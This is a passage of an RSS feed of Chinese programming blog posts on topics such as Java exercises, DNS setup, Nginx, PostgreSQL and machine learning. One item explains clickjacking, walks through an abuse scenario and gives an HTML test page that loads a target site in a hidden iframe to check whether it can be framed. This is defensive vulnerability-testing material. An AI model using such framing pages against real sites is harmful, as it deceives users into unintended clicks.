      <link>https://bchobby.github.io/posts/ab2dde572da902f0236d4fcc2b75e080/</link>
      <pubDate>Thu, 12 Oct 2023 23:58:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ab2dde572da902f0236d4fcc2b75e080/</guid>
      <description>目录&#xA;案例六：抢红包&#xA;案例七：找素数&#xA;方法一：&#xA;方法二：&#xA;方法三：&#xA;案例八：实现双色球&#xA;关于本项目所用所有方法的解释：&#xA;案例六：抢红包 一个大V直播时发起了抢红包活动，分别有: 9、666、 188、520、 99999五个红包。请模拟粉丝来抽奖，按照先来先得，随机抽取，抽完即止，注意:一个红包只能被抽一-次，先抽或后抽哪一个红包是随机的。&#xA;方法：写个for循环控制抽奖5次,每次抽奖，都从数组中随机找出一个金额，如果该金额不是0,则代表抽中，接着用0替换该位置处的金额，然后继续下一个粉丝的抽奖;如果抽中的金额发现是0,代表该位置处的红包之前被别人抽走了,则从新从数组中随机找出一个金额，继续判断!直至抽中的金额不是0!&#xA;代码：&#xA;package com.itheima; import java.util.Random; import java.util.Scanner; public class Test6 { public static void main(String[] args) { int[] moneys={9,66,188,520,99999}; start(moneys); } public static void start(int[] moneys){ //假设money=[9,66,188,520,99999] Scanner sc=new Scanner(System.in); Random r=new Random();//随机数对象 //定义一个for循环，控制抽奖五次 for (int i = 1; i &amp;lt;= 5; i++) { System.out.println(&#34;请您输入任意内容进行抽奖&#34;); sc.next();//等待用户输入内容，回车才往下走 //为当前粉丝随机一个红包出来 while (true) {//除非抽到不等于0的红包，否则一直抽 int index = r.nextInt(moneys.length);//获得0-4的随机索引 int money = moneys[index];//将对应索引的钱取出来 //判断这个红包不为0 if (money !</description>
    </item>
    <item>
      <title>10.12Python_学生管理系统</title>
      <link>https://bchobby.github.io/posts/8a79a419e9b597f53d46985b5073d2fe/</link>
      <pubDate>Thu, 12 Oct 2023 23:12:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8a79a419e9b597f53d46985b5073d2fe/</guid>
      <description>stuName = [&#39;白柳&#39;, &#39;牧四城&#39;, &#39;刘佳仪&#39;] # stu stuId = [&#39;006&#39;, &#39;004&#39;, &#39;061&#39;] # sid stuClass = [&#39;A003&#39;, &#39;A003&#39;, &#39;A001&#39;] # clas def showMune(): print(&#34;&#34;&#34;1.添加学生信息 2.删除学生信息 3.修改学生信息 4.查询所有学生信息 0.退出系统&#34;&#34;&#34;) print(&#34;=========&#34;) def add(): global stuName global stuId global stuClass stu = input(&#34;请输入学生姓名（输入exit退出）：&#34;) while stu != &#39;exit&#39;: for i in range(0, len(stuName)): while stu == stuName[i]: stu = input(&#34;学生姓名重复，请重新输入&#34;) if stu == &#39;exit&#39;: main() stuName.append(stu) sid = input(&#34;请输入学生id：&#34;) for i in range(0, len(stuId)): while sid == stuId[i]: sid = input(&#34;</description>
    </item>
    <item>
      <title>C语言-折半查找（二分查找）算法详解</title>
      <link>https://bchobby.github.io/posts/ab9746d9f4f9a706ba32f15e99be7a45/</link>
      <pubDate>Thu, 12 Oct 2023 20:44:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ab9746d9f4f9a706ba32f15e99be7a45/</guid>
      <description>目录&#xA;题目：用折半查找在一个有序数组中查找一个具体的数字n&#xA;题目：用折半查找在一个有序数组中查找一个具体的数字n 为了方便讲解，我们假设这里的有序数组是arr[ ] = {1,2,3,4,5,6,7,8,9,10}，要查找的数是 7 。&#xA;第一步，我们标出这个有序数组的下标，并找出最左边、最右边和中间的下标：&#xA;由图可见，下标left = 0，mid = 4，right = 9。&#xA;第二步，将下标为 mid 的数字与要查找的数字 7 进行比较：&#xA;此时因为 arr[mid] = 5 &amp;lt; 7,所以令 left = mid +1 = 5,right = 9不变，此时 mid = (5 + 9)/2 =7。这就缩小了一半的查找范围。&#xA;第三步，继续将要下标为 mid 的数与要查找的数字 7 进行比较：&#xA;此时因为 arr[mid] = 8 &amp;gt; 7,所以令 left = 5不变，right = mid - 1 = 6，此时mid = (5 + 6 )/2 = 5。再次缩小一半的查找范围。</description>
    </item>
    <item>
      <title>DNS服务搭建(超详细)</title>
      <link>https://bchobby.github.io/posts/fb2e2a7584365f94ac4d04d1c507c43b/</link>
      <pubDate>Thu, 12 Oct 2023 16:18:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fb2e2a7584365f94ac4d04d1c507c43b/</guid>
      <description>目录&#xA;一、什么是DNS？&#xA;二、DNS工作原理及解析过程&#xA;三、各种资源记录&#xA;1、区域解析库详解：&#xA;2、主配置文件详解&#xA;四、试验环境&#xA;五、搭建主DNS服务器&#xA;1、配置ip地址&#xA;2、安装bind&#xA;3、修改主配置文件&#xA;4、新建正向区域配置文件&#xA;5、新建反向区域配置文件&#xA;6、重启named服务使刚才的修改生效&#xA;7、修改网卡加入dns&#xA;8、遇到的问题&#xA;六、从服务器搭建&#xA;1、安装bind&#xA;2、修改主配置文件&#xA;3、查看主域名服务器同步过来的文件&#xA;4、验证&#xA;一、什么是DNS？ DNS是域名系统（Domain Name System）的缩写，它是一个用于将域名解析为IP地址的系统。在互联网上，每个设备都需要一个唯一的IP地址来进行通信，但人类更容易记住的是域名而非IP地址。DNS的作用就是将人类可读的域名解析为对应的IP地址，从而使设备能够相互通信和访问互联网上的各种服务和资源。&#xA;二、DNS工作原理及解析过程 我们以www.baidu.com 这个域名为例，来看一看当你访问 www.baidu.com 时，会发生哪些事&#xA;1.先查找本地 DNS 缓存（自己的电脑上），有则返回，没有则进入下一步&#xA;2.查看本地 hosts 文件有没有相应的映射记录，有则返回，没有则进入下一步&#xA;3.向本地 DNS 服务器（一般都是你的网络接入服务器商提供，比如中国电信，中国移动）发 送请求进行查询，本地DNS服务器收到请求后，会先查下自己的缓存记录，如果查到了直接返回就结束了，如果没有查到，本地DNS服务器就会向DNS的根域名服务器发起查询请求：请问老大， www.baidu.com 的ip地址是啥？&#xA;4.根域名服务器收到请求后，看到这是个 .com 的域名，就回信说：这个域名是由 .com 小老弟管理的，你去问他好了，这是.com老弟的联系方式（ip1）。&#xA;5.本地 DNS 服务器接收到回信后，照着老大给的联系方式（ip1），马上给 .com 这个顶级域名服务器发起请求：请问 .com 老大哥，www.baidu.com 的ip地址是啥？&#xA;6. .com 顶级域名服务器接收到请求后，看到这是 baidu.com 的域名，就回信说：这个域名是 .163.com 小老弟管理的，你就去问他就行了，这是他的联系方式（ip2）&#xA;7.本地 DNS 服务器接收到回信后，按照顶级域名老大哥的指引（ip2），又向 .163.com 这个权威域名服务器发起请求：请问 baidu.com 老大哥，请问 www.</description>
    </item>
    <item>
      <title>static为什么只会被初始化一次</title>
      <link>https://bchobby.github.io/posts/37a4f24ad62cd755c7f193485e7df104/</link>
      <pubDate>Thu, 12 Oct 2023 15:49:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/37a4f24ad62cd755c7f193485e7df104/</guid>
      <description>static只会初始化1次 1.static每次初始化相同的值，代码1中的static初始化 放到for循环中，每次进行初始化相同的值，先看一下这个结果。我们发现他们的内存布局是紧按着的。结果：2.每次初始化不同的值，同样也放到for循环中去，我们这时候来看看内存布局，就会发现有意思的事情了！结果： 2.得到规律：3.测试代码14.我们修改*p = 0,之后会发生什么？结论：我们发现y的值进行了变化 1.static每次初始化相同的值，代码1中的static初始化 放到for循环中，每次进行初始化相同的值，先看一下这个结果。我们发现他们的内存布局是紧按着的。 #include &amp;lt;iostream&amp;gt; using namespace std; int main() { int n = 2; for(int i = 0; i &amp;lt; n; i ++)&#x9;{ static int a = 10; static int b = 10; static int c = 20; static int d = 10; static int e = 10; static int f = 100; int *tmp = &amp;amp;a; for (int i = 1; i &amp;lt; 20; ++i) { cout &amp;lt;&amp;lt; &#34;</description>
    </item>
    <item>
      <title>用房价预测的一个具体案例说明机器学习的全过程</title>
      <link>https://bchobby.github.io/posts/9038c632b649098ef4d12463caff9a47/</link>
      <pubDate>Thu, 12 Oct 2023 15:20:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9038c632b649098ef4d12463caff9a47/</guid>
      <description>计算机从给定的数据中学习规律，即从观测数据（样本）中寻找规律、建立模型，并利用学习到的规律（模型）对未知或无法观测的数据进行预测。&#xA;我们以房价预测为例，来说明机器学习的全过程。&#xA;1-数据收集和准备：&#xA;首先，我们需要收集相关的房屋数据，包括房屋的特征（如面积、卧室数量、地理位置等）以及对应的销售价格。&#xA;接着，对数据进行清洗和预处理，包括处理缺失值、异常值，进行特征选择和特征工程等。&#xA;2-数据划分：&#xA;将数据集划分为训练集和测试集。通常，我们将大部分数据用于训练模型，少部分数据用于评估模型性能。&#xA;3-模型选择和训练：&#xA;根据任务的特点和需求，选择适合的回归模型，如线性回归、决策树回归等。&#xA;使用训练集来训练模型，模型通过学习训练数据中的模式和关系来建立预测函数。&#xA;4-模型评估：&#xA;使用测试集来评估已训练的模型的性能。比较模型预测结果与真实房价标签之间的差异。&#xA;根据评估指标（如均方误差、决定系数等）来判断模型的预测能力。&#xA;5-模型调优和改进：&#xA;根据评估结果，对模型进行调优和改进。可以尝试更换不同的特征、调整模型参数等来提升预测性能。&#xA;6-预测和应用：&#xA;当模型经过调优后，可以使用该模型来进行房价预测。给定一组未知房屋特征，模型可以预测出相应的房价。&#xA;7-持续监测和更新：&#xA;一旦将模型应用到实际情况中，我们需要持续监测模型的表现，并根据新的数据进行模型更新和改进，以确保模型的持续有效性。&#xA;以上就是机器学习的典型全过程。通过数据收集和准备、数据划分、模型选择和训练、模型评估、模型调优和改进、预测和应用，以及持续监测和更新等步骤，我们可以构建一个能够预测房价的机器学习模型。当然，具体的应用场景和任务可能会有所不同，但这个过程基本上适用于大多数机器学习问题。&#xA;# 导入类库 import numpy as np from numpy import arange from matplotlib import pyplot from pandas import read_csv from pandas import set_option from pandas.plotting import scatter_matrix from sklearn.preprocessing import StandardScaler from sklearn.model_selection import train_test_split from sklearn.model_selection import KFold from sklearn.model_selection import cross_val_score from sklearn.model_selection import GridSearchCV from sklearn.linear_model import LinearRegression from sklearn.</description>
    </item>
    <item>
      <title>python opencv 深度学习 指纹识别算法实现 计算机竞赛</title>
      <link>https://bchobby.github.io/posts/7cff1b6dddd0ff5c01ac59d8ebd47c02/</link>
      <pubDate>Thu, 12 Oct 2023 14:02:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7cff1b6dddd0ff5c01ac59d8ebd47c02/</guid>
      <description>1 前言 🔥 优质竞赛项目系列，今天要分享的是&#xA;🚩 python opencv 深度学习 指纹识别算法实现&#xA;🥇学长这里给一个题目综合评分(每项满分5分)&#xA;难度系数：3分工作量：4分创新点：4分 该项目较为新颖，适合作为竞赛课题方向，学长非常推荐！&#xA;🧿 更多资料, 项目分享：&#xA;https://gitee.com/dancheng-senior/postgraduate&#xA;2 指纹识别方式 目前市面上有两种指纹识别，分别是光学式和电容式指纹识别。&#xA;2.1 电容式指纹识别 电容式指纹识别要比光学式的复杂得多，其原理是将压力感测、电容感测、热感测等感测器整合于一块芯片中，当指纹按压芯片表面时，内部电容感测器会根据指纹波峰与波谷而产生的电荷差（或是温差），形成指纹影像，再通过与算法内部的指纹库进行匹配，从而完成指纹识别。&#xA;电容式指纹识别技术较为复杂，对技术研发和积累有较高要求，并且涉及大量专利，算法得实现也相对困难，所以目前全球只有少数公司能在这方面提供领先的技术产品。&#xA;2.2 光学式指纹识别 然后是光学式指纹识别，大家常见的指纹考勤机就是光学式指纹识别。&#xA;这类光学式指纹识别主要包括4个方面功能&#xA;1.指纹模块负责采集指纹图像。2.数字信号处理器主要把采集到的指纹图像转化为数字信号。3.微控制器是整个系统的控制单元，在这里将进行指纹的验证以及输出指令。4.液晶显示器将输出指纹验证结果。 当我们把手指放在指纹考勤机上时，通过镜面反射原理，指纹模块就会采集指纹图像&#xA;接着指纹图像就会被数字信号处理器转换成数字信号&#xA;然后通过微控制器将数字信号与指纹库里的指纹进行匹配，匹配结果将通过液晶显示器显示出来。这就是光学式指纹识别的工作原理。&#xA;电容式与光学式指纹识别主要在指纹的采集方式上拥有较大差异，而在指纹的验证过程中则基本类似。然而因为电容式指纹识别拥有体积小、适用性广的优点，已经有越来越多的设备采用电容式指纹识别，未来的主流将是电容式指纹识别。&#xA;3 指纹识别算法实现 3.1 指纹识别算法流程 3.2 指纹图像预处理 1.图像归一化2.图像分割3.图像二值化4.细化 几个步骤 当然有一些算法为了追求极致，中间还利用了增强、多重滤波等方式，但最根本的目的都是为了在细化之后保留指纹信息并且方便后续处理。&#xA;预处理之后是特征点的提取，也就是找到指纹图像当中有价值，具有唯一性和不变性的信息。主要特征点有端点、分叉点几类，在提取部分除了简单的遍历检索确认之外，还有比较重要的一步是伪特征点的去除，主要是针对图像不清晰、不完整导致的断点和边缘端点等。&#xA;最后一步是特征点的匹配，将指纹库中的指纹信息与提取的目标图像特征点进行对比。主流算法是以指纹中心点为依据，根据特征点所在的角度及距离，确认其所在位置，根据匹配度计算是否是同一手指的指纹。&#xA;3.3 指纹图像目标提取 指纹图像目标提取主要是将指纹图片中提取出来，也叫做指纹图像分割。&#xA;图片的前景通过观察可知是由条状或者圆形的一些组成，而底图其他部分只是一个均匀的底色而已。&#xA;我们使用非常简单的手段，基于局部梯度就可以很容易实现我们的目标。&#xA;方差梯度法提取指纹:&#xA;指纹图像通常由前景区域（包含有指纹的脊线和谷线）和背景区域这两部分组成。一般来说，在指纹图像的前景区域中，指纹的脊线和谷线的灰度差是较大的，因而其灰度统计特性局部灰度方差很大；而在指纹图像的背景区域中，两者的方差是很小的。基于这一特性，可以利用指纹图像的局部方差来进行分割。因此，这种方法也被称为方差梯度法。&#xA;的灰度平均值 M和方差 Var计算方法：&#xA;提取前的指纹图像：&#xA;提取后的指纹图像：&#xA;可以看到，学长做的还有些噪点，但是也很好解决，做一次形态学操作即可：&#xA;这样噪点就去除了。&#xA;3.4 指纹图像增强 3.5 指纹特征提取 人体指纹的特征可以反映在给定的人类群体里来自不同手指的指纹之间相似的程度。&#xA;指纹的特征信息很多，所有的这些指纹特征信息构成了庞大的指纹特征集合。&#xA;指纹的细节特征主要指的是纹线端点（RidgeEnding）和纹线分叉点（RidgeBifurcation）。&#xA;纹线端点指的是纹线突然结束的位置，而纹线分叉点则是指纹线一分为二的位置。&#xA;大量的统计结果表明，使用这两类特征点就足以描述指纹的唯一性。&#xA;Minutia Cylinder-Code (MCC) ，该算法是非常著名的指纹特征识提取算法，</description>
    </item>
    <item>
      <title>玩转Linux Shell &amp; Terminal &amp; Tmux</title>
      <link>https://bchobby.github.io/posts/c7f4d6ad7dc4de3d6b8f3b2531ffc380/</link>
      <pubDate>Thu, 12 Oct 2023 13:42:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c7f4d6ad7dc4de3d6b8f3b2531ffc380/</guid>
      <description>一、Shell编程☘️ 1. Shell指令快捷操作 1. echo # 系统指令 $ echo $(pwd) # 对于系统自带的pwd，此处不能写echo $pwd # 自定义变量 $ foo=$(pwd) $ echo $foo # 不同于pwd，对于自定义的foo，不能用$(foo) 2. !! # 假设你先执行了以下原本需要权限的指令 $ mkdir /mnt/xuyang # 终端立即提示你：Permission denied，这时可通过如下指令进行简化：【!!默认指代上次指令内容】 $ sudo !! # 该句等效于：sudo mkdir /mnt/xuyang 3. rm与rmdir # rmdir 仅用于删除空目录，如果要删除非空目录，需要使用 rm 命令 # rm -rf会递归地删除目录及其所有子目录和文件。选项 -r 表示递归删除，选项 -f 表示强制删除，即不提示确认。 $ rm -rf directory/ 4. &amp;amp;&amp;amp;、|| # shell脚本也可以执行逻辑指令 # &amp;amp;&amp;amp;前面为真，故会正常echo $ true &amp;amp;&amp;amp; echo &#34;hello peter parker&#34;</description>
    </item>
    <item>
      <title>Java8新特性Optional 详解</title>
      <link>https://bchobby.github.io/posts/e75a96c23f11645b81414bad376a7ee4/</link>
      <pubDate>Thu, 12 Oct 2023 11:25:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e75a96c23f11645b81414bad376a7ee4/</guid>
      <description>一、概述&#xA;java.util.Optional&amp;lt;T&amp;gt;类是一个封装了Optional值的容器对象，Optional值可以为null，如果值存在，调用isPresent()方法返回true，调用get()方法可以获取值。&#xA;Optional是在java.util包下的一个用于代替null的一个工具类。&#xA;Optional 类的引入很好的解决空指针异常。&#xA;import java.util.Optional; 二、使用目的&#xA;1.避免使用null检查。&#xA;开发中，几乎都会遇到NullPointerException异常，大都是通过if判定null值，比如：&#xA;public void addUserRole(User user) { if (user == null) { return; } String roleId = user.getRoleId(); if (roleId == null) { return; } } 这种方式不方便出错后调试，因此，Java 8中引入了一个新的类Optional，用以避免使用null值引发的种种问题。&#xA;三、构建Optional&#xA;Optional类提供类三个方法用于实例化一个Optional对象，它们分别为empty()、of()、ofNullable()。&#xA;（1）empty()方法：empty()方法用于创建一个没有值的Optional对象：&#xA;Optional&amp;lt;String&amp;gt; emptyOpt = Optional.empty(); （2）of()方法：of()方法使用一个非空的值创建Optional对象。&#xA;String str = &#34;my&#34;; Optional&amp;lt;String&amp;gt; notNullOpt = Optional.of(str); （3）ofNullable()方法：ofNullable()方法接收一个可以为null的值。&#xA;Optional&amp;lt;String&amp;gt; nullableOpt = Optional.ofNullable(str); 如果str的值为null，得到的nullableOpt是一个没有值的Optional对象。&#xA;四、Optional中相关方法&#xA;1.isPresent()： 持有非空值，返回true；否则false；&#xA;Optional optional = Optional.ofNullable(null); Optional optional1 = Optional.of(&#34;&#34;); Optional optional2 = Optional.</description>
    </item>
    <item>
      <title>MATLAB读取彩色图像，并分割成RGB三通道图像进行显示</title>
      <link>https://bchobby.github.io/posts/570d60111b2d22e9fbbd9dca5fda115b/</link>
      <pubDate>Thu, 12 Oct 2023 10:36:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/570d60111b2d22e9fbbd9dca5fda115b/</guid>
      <description>可以使用MATLAB中的imread函数读取彩色图像，然后使用imsplit函数将其分割成RGB三通道图像，最后使用imshow函数分别显示三个通道的图像。具体代码如下&#xA;% 读取彩色图像&#xA;img = imread(&#39;color_image.jpg&#39;);&#xA;% 分割成RGB三通道图像&#xA;[red, green, blue] = imsplit(img);&#xA;% 显示三个通道的图像&#xA;subplot(1,3,1), imshow(red), title(&#39;Red Channel&#39;);&#xA;subplot(1,3,2), imshow(green), title(&#39;Green Channel&#39;);&#xA;subplot(1,3,3), imshow(blue), title(&#39;Blue Channel&#39;);</description>
    </item>
    <item>
      <title>Nginx 反向代理 MinIO：解决 400 Bad Request</title>
      <link>https://bchobby.github.io/posts/301a91c0413b83432c94e75b4b367f04/</link>
      <pubDate>Thu, 12 Oct 2023 09:51:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/301a91c0413b83432c94e75b4b367f04/</guid>
      <description>前言 当我们在构建个人博客或网站时，为了提高资源访问的速度和稳定性，经常会使用对象存储服务，如 MinIO，来存储静态资源，例如图片。而为了让网站看起来更加专业和美观，我们通常不希望用户直接看到后端存储的地址和端口，这时就可以利用 Nginx 进行反向代理，隐藏真实的后端服务地址。&#xA;问题描述 在尝试使用 Nginx 反向代理 MinIO 时，遇到了一个问题：虽然代理配置能成功访问 MinIO，但尝试访问存储在其中的图片时会收到一个 400 Bad Request: malformed Host header 的错误。&#xA;初步的配置如下：&#xA;server { listen 80; server_name image.laodengtou.com; location / { proxy_pass http://localhost:9001; proxy_set_header Host \$host; proxy_set_header X-Real-IP \$remote_addr; } } 解决方案 经过一系列的测试和尝试，以下是一个工作正常的配置：&#xA;server { listen 80; server_name your_domain.com; location / { proxy_pass http://localhost:9001/; proxy_set_header Host $http_host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; rewrite ^/(.*)$ /$1 break; } } 对比这两个配置，可以看到以下几点差异：&#xA;proxy_set_header Host：在原始配置中，使用了 \$host，这可能导致了“Host”头部的错误解析。而在工作的配置中，使用 $http_host 可以确保 HTTP 请求头中的 Host 信息被正确传递给 MinIO。proxy_set_header X-Forwarded-For：此头用于传递原始请求的 IP 地址，有时对于某些应用来说这是必要的。rewrite：通过使用重写规则，可以确保请求的 URL 路径不会被错误地解释或修改。 效果展示 总结 Nginx 的反向代理功能强大，但在配置时需要注意一些细节，特别是当后端服务对请求头有特定要求时。对于 MinIO 这样的对象存储服务，确保传递正确的 Host 信息是关键。如果你有其他相关的经验或知识，欢迎在评论区分享！</description>
    </item>
    <item>
      <title>postgresql统计数据库大小(表、行数等)</title>
      <link>https://bchobby.github.io/posts/924d69f0240324e4f95e6124df832fa0/</link>
      <pubDate>Thu, 12 Oct 2023 09:34:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/924d69f0240324e4f95e6124df832fa0/</guid>
      <description>目录&#xA;一、背景&#xA;二、查看数据库所有表的记录条数&#xA;1、带模式名查询&#xA;2、不带模式名查询&#xA;三、查看数据库所有表的大小&#xA;1、查看单表大小&#xA;2、查看库下的所有表大小&#xA;3、查看索引大下&#xA;四、查看所有库的大小&#xA;一、背景 在实际实际生产环境中，有时候我们往往需要知道最近的数据库使用情况，已及数据库表的使用情况，那我们就需要使用sql来查询，当然有的人也会说可以使用监控来查看数据库的使用情况，这个确实是没有问题，但是使用监控有局限性，只能查看到数据库的整体使用情况，具体的表大小是看不到的，接下来我们一起来实操一下&#xA;二、查看数据库所有表的记录条数 1、带模式名查询 SELECT schemaname AS schema, relname AS table, n_live_tup AS record_count FROM pg_stat_user_tables; 效果如下：&#xA;2、不带模式名查询 SELECT relname AS table, n_live_tup AS record_count FROM pg_stat_user_tables WHERE schemaname = &#39;public&#39;; 效果如下：&#xA;三、查看数据库所有表的大小 1、查看单表大小 select pg_size_pretty(pg_relation_size(&#39;表名&#39;)); 效果如下：&#xA;2、查看库下的所有表大小 select relname, pg_size_pretty(pg_total_relation_size(relid)) as size from pg_stat_user_tables; 效果如下：&#xA;3、查看索引大下 select pg_size_pretty(pg_relation_size(&#39;索引名&#39;)) as size; 四、查看所有库的大小 select datname, pg_size_pretty (pg_database_size(datname)) AS size from pg_database; 效果如下：</description>
    </item>
    <item>
      <title>点击劫持：X-Frame-Options 未配置</title>
      <link>https://bchobby.github.io/posts/4ea255bcd180521b9e1a122ab6dca08b/</link>
      <pubDate>Thu, 12 Oct 2023 08:49:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4ea255bcd180521b9e1a122ab6dca08b/</guid>
      <description>前言 X-Frame-Options作为HTTP头的一部分，是一种用于保护网站免受点击劫持攻击的安全措施。网站可以通过设置X-Frame-Options或csp报头来控制网站本身是否可以被嵌套到iframe中。&#xA;漏洞描述 Clickjacking（点击劫持）是一种安全漏洞，通常出现在网站未配置适当的安全标头时，该漏洞由互联网安全专家罗伯特·汉森和耶利米·格劳斯曼在2008年提出的。当网站未配置X-Frame-Options头时，它可能受到点击劫持攻击的威胁。这意味着攻击者可以在其恶意网站中将目标网站嵌套到iframe中，并引导用户执行未经授权的操作，使用户不知情地与目标网站互动。&#xA;漏洞危害 未配置X-Frame-Options头可能导致以下危害：&#xA;用户被欺骗执行不希望执行的操作。用户的敏感数据（如用户名和密码）可能被窃取。网站的访问量可能被滥用，用于刷点击量或推广不良内容。攻击者可能传播恶意软件或进行其他恶意活动。 利用场景 点击劫持的利用场景如：刷点击量、骗取关注、点击广告或链接、点击广告或链接等。以刷点击量为例，假设存在某个场景，并描述其利用方式&#xA;假设a博客网站未配置X-Frame-Options头，小明在该博客网站上发布了一篇博客，现在小明想利用点击劫持来刷该博客的访问量，那小明可能采用的点击劫持攻击来刷博客访问量的过程如下：&#xA;博客网站未配置X-Frame-Options头：博客网站的管理员未正确配置X-Frame-Options头，这意味着博客网站的内容可以被嵌套到iframe中。小明创建恶意网站：小明创建了一个恶意网站，其中包含了点击劫持攻击的代码。在恶意网站上嵌套博客：小明在他的恶意网站中创建一个透明的iframe，将博客网站的URL嵌套到iframe中。用户访问小明的恶意网站时，他们可能看到一个吸引人的内容，而不知道博客网站的内容也被加载到了iframe中。引导用户进行点击操作：小明可能在恶意网站上提供吸引人的内容，例如奖品抽奖、免费资源等，并引导用户执行点击操作。触发点击劫持：当用户在恶意网站上执行点击操作时，iframe中的博客网站也会接收到相同的点击操作。用户点击被计入博客网站访问量：尽管用户认为他们只是在小明的恶意网站上与吸引人的内容互动，但实际上他们的点击操作也被重定向到了博客网站上。这将导致博客网站的访问量增加。小明达到他的目标：小明的目标是刷博客的访问量，他可能通过引导更多用户来访问他的恶意网站，从而增加博客网站的访问量。 这个过程说明了如何利用点击劫持攻击来增加博客网站的访问量，尽管用户不清楚他们的点击操作实际上也在访问博客网站。&#xA;判断是否存在点击劫持问题 查看响应头是否存在“X-Frame-Options: ”或 “Content Security Policy”报头，如果在响应头中找不到&#34;X-Frame-Options&#34;报头，并且不存在Content Security Policy（CSP）报头。那么网站可能存在点击劫持漏洞。 为了判断的准确性，可以进行下一步判断&#xA;在本地新建一个html文件，src = &#39;url&#39; 中填写要测试的网站 &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;title&amp;gt;点击劫持示例&amp;lt;/title&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;h1&amp;gt;点击劫持示例页面&amp;lt;/h1&amp;gt; &amp;lt;button id=&#34;clickMe&#34;&amp;gt;点击我&amp;lt;/button&amp;gt; &amp;lt;iframe id=&#34;evilIframe&#34; style=&#34;opacity: 0;&#34;&amp;gt;&amp;lt;/iframe&amp;gt; &amp;lt;script&amp;gt; document.getElementById(&#39;clickMe&#39;).addEventListener(&#39;click&#39;, function() { // 在点击按钮时，触发iframe中的操作 document.getElementById(&#39;evilIframe&#39;).style.opacity = &#39;1&#39;; document.getElementById(&#39;evilIframe&#39;).src = &#39;https://stack.chaitin.com&#39;; }); &amp;lt;/script&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; 代码说明：&#xA;&amp;lt;iframe&amp;gt; 元素中，style=&#34;opacity: 0;&#34;：通过将opacity样式设置为0，使该iframe最初是不可见的。src属性：在此示例中，src属性被省略了，因此最初没有指定要加载的内容。document.getElementById(&#39;clickMe&#39;).addEventListener(&#39;click&#39;, function() {...})：这行代码为按钮添加了一个点击事件监听器。当用户点击按钮时，以下操作将被执行： document.getElementById(&#39;evilIframe&#39;).style.opacity = &#39;1&#39;;：这行代码将第一个&amp;lt;iframe&amp;gt;元素的opacity样式设置为1，使其变得可见。document.getElementById(&#39;evilIframe&#39;).src = &#39;https://stack.chaitin.com&#39;;：这行代码将第一个&amp;lt;iframe&amp;gt;元素的src属性设置为&#34;https://stack.chaitin.com&#34;，导致该iframe加载该网站的内容。 点击 点击我，如果成功加载了目标网站，说明目标网站可以被其他网站嵌入 ，存在点击劫持问题 https://stack.</description>
    </item>
    <item>
      <title>数据库系统概念学习1</title>
      <link>https://bchobby.github.io/posts/0190642c874afcc4fdd7b983b0315136/</link>
      <pubDate>Thu, 12 Oct 2023 08:46:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0190642c874afcc4fdd7b983b0315136/</guid>
      <description>第一章 引言 数据库管理系统是由一个互相关联的数据的集合和一组用以访问这些数据的程序组成。这个数据集合通常称为数据库&#xA;特定时刻存储在数据库中的信息的集合称为数据库的一个实例，而数据库的总体设计称为数据库模式&#xA;数据库结构的基础是数据模型，数据模型是一个描述数据，数据联系，数据语义以及一致性约束概念工具的集合。数据模型提供了一种物理层，逻辑层以及视图层数据库设计的方式&#xA;存储在数据库中的数据值必须满足某些一致性约束&#xA;数据库中实体通过属性集合来描述，例如name，salary可以描述instructor实体&#xA;联系是几个实体之间的关联，例如，member联系将一位教师和她所在的系关联在一起。同一类型的所有实体的集合称为实体集，同一类型的所有联系的集合称为联系集&#xA;第一部分--关系数据库 第二章--关系模型介绍 元组只是一组值的序列（或列表），在n个值之间的一种联系可以在数学上用关于这些值的一个n元组来表示，换言之，n元组就是一个有n个值的元组，它对应于表中的一行&#xA;在关系模型的术语中，关系用来指代表，元组用来代指行，属性指代表中的列&#xA;对于关系的每个属性，都存在一个允许取值的集合，称为该属性的域&#xA;域是原子的，不可再分的&#xA;空值是一个特殊的值，表示值未知或不存在&#xA;数据库模式 数据库模式是数据库的逻辑设计，数据库实例是给定时刻数据库中数据的一个快照&#xA;码 一个元组的属性值必须是能够唯一区分元组的，换句话说，一个关系中没有两个元组在所有属性上的取值都相同&#xA;超码是一个或多个属性的集合，这些属性的组合可以是我们在一个关系中唯一的标识一个元组&#xA;主码主要用来在一个关系中区分不同元组的候选码&#xA;外码:&#xA;模式图 一个含有主码和外码依赖的数据库模式可以用模式图&#xA;关系查询语言 查询语言是用户用来从数据库中请求获取信息的语言&#xA;在过程化语言中，用户执导系统对数据库执行一系列操作以计算出所需结果&#xA;在非过程化语言中，用户只需要描述所需信息，而不用给出获取该信息的具体过程&#xA;关系运算 第三章--SQL SQL数据定义 基本属性 基本模式定义 create table create table r&#xA;( A1,D1,&#xA;A2,D2,&#xA;....,&#xA;An,Dn,&#xA;&amp;lt;完整性约束1&amp;gt;，&#xA;...,&#xA;&amp;lt;完整性约束k&amp;gt; );&#xA;完整性约束：&#xA;not null：一个属性上的not null 约束表明在该属性上不允许空值，此约束把空值排除在该属性域之外&#xA;SQl 禁止破坏完整性约束的任何数据库更新&#xA;insert insert into instructor&#xA;values (10211，&#39;Smith&#39; , &#39;Biology&#39; , 66000);&#xA;delete 删除元组 delete from student;</description>
    </item>
    <item>
      <title>Java语法基础案例（一）</title>
      <link>https://bchobby.github.io/posts/2a81eee2f4ce57bbdb0e7d479ee47588/</link>
      <pubDate>Wed, 11 Oct 2023 22:47:11 +0800</pubDate>
